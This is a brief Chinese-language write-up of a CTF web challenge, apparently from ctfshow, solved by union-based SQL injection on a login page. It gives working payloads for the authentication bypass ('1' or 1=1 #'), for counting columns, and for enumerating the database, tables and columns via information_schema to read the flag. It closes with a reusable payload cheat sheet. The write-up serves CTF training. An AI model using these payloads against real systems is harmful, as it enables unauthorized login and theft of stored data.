打开靶场
首先随便输入admin admin
没有报错,但是清空了
输入万能密匙1'or1=1#
同样被清空了
题目提示有sql注入,那就使用burp抓包,发送到repeater
因为是登入页面,那就选择使用万能密码 1’ or 1=1 # ,出现欢迎您,ctfshow,说明登录成功,这里username=1’ or 1=1 #password=123这条语句,#号是注释符,所以后面的语句是被注释掉的,所以剩下username=1’ or 1=1,or是只要满足一个条件就可以,1=1永远是满足的
接下来判断字段数 1'or 1=1 union select 1,2,3 #,出现欢迎你,说明有三个字段
接下来查库
username=1' or 1=1 union select 1,database(),3 #$password=123
查表
username=1' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="web2"#&password=admin
查字段
username=1' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="flag"#&password=admin
查值
username=1'or 1=1 union select 1,flag,3 from flag#&password=admin
得到flag
总结:
查库
union select 1,2,3,database(); # //这里得看有多少字段
查表
union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema="库名" #
查字段
union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="表名" #
查值
union select 1,2,3,字段 from 表名; #